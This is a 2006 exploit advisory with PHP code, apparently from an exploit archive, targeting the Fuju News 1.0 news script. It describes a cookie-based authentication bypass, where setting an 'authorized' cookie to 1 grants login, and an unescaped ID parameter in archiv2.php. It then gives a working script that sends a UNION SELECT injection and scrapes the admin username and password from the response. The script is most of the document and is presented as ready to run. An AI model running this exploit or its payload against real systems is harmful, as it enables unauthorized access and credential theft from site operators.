Fuju News 1.0 Authentication Bypass / Remote SQL Injection Exploit :

Date : 2006-04-16 Author : snatcher
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        title: fuju news 1.0 remote sql injection
      release: 2006-04-16
       author: snatcher [snatcher at gmx.ch]
      country: switzerland  |+|
	  
  application: Fuju News 1.0
  description: a php / mysql based newsscript
     download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=243
  description: you can get the password with a simple sql injection.
       greets: honkey, str0ke <- good exploit publisher :),
			   all security guys and coders over the world
 terms of use: this exploit is just for educational purposes, do not use it for illegal acts.


---------------------------- archiv2.php - line 25 --------------------------------------
$result1 =@mysql_query("SELECT * FROM news_sql WHERE ID LIKE $ID");
-----------------------------------------------------------------------------------------

because this $ID isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.


title: fuju news 1.0 restriction bypass

------------------------- edit_kategorie.php - line 19 ----------------------------------
$authorized=$HTTP_COOKIE_VARS['authorized'];
-----------------------------------------------------------------------------------------

that's the mistake of the code. you only have to create a session cookie named 'authorized'
with the value 1, and you are logged in.

*/
/*********************** CONFIGURATION ****************************/

$PATH_TO_FILE  = 'http://yourhost.com/fuju/archiv2.php';           // in example: http://yourhost.com/fuju/archiv2.php
$TABLE_PREFIX  = '';                                               // default: empty
$GET_VARS      = '?ID=';                                           // do not change
$SQL_INJECTION = '-666 union select pw,0,0,benutzer,0,0,pw from '. // do not change
                 $TABLE_PREFIX.'admin_sql /*';


/**************************** MAIN ********************************/

$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn't open host!'); 
foreach ($file_array as $now)                               
	$html_content .= $now;

$html_content = str_castrate($html_content);

preg_match_all("!Autor:</span></strong></td></tr><trbordercolorlight='#2E2E2E'bordercolordark='#848484'>".
               "<tdalign=leftvalign=topbgcolor="#49535C"><divalign='center'><spanclass='Stil2'>(.*?)</div>!",
			   $html_content,$username); /* gets username */
preg_match_all("!Kategorie:</span></strong></p></div></td></tr><trbordercolorlight='#2E2E2E'bordercolordark=".
               "'#848484'><tdalign=leftvalign=topbgcolor="#49535C"><divalign='center'><fontclass="content"".
			   "><spanclass='Stil2'>(.*?)</span>!", 
                $html_content,$password); /* gets password */

if ($username[1][0] && $password[1][0]) {
	echo 'username: <b>'.$username[1][0].'</b><br>';
	echo 'password: <b>'.$password[1][0].'</b>';
}else {
	echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: fuju news 1.0 remote sql injection<br>
release: 2006-04-16<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';

function str_castrate($string) {
	$string = str_replace("
", '', $string);
	$string = str_replace("
", '', $string);
	$string = str_replace(" ", '', $string);
	return $string;
}
?>

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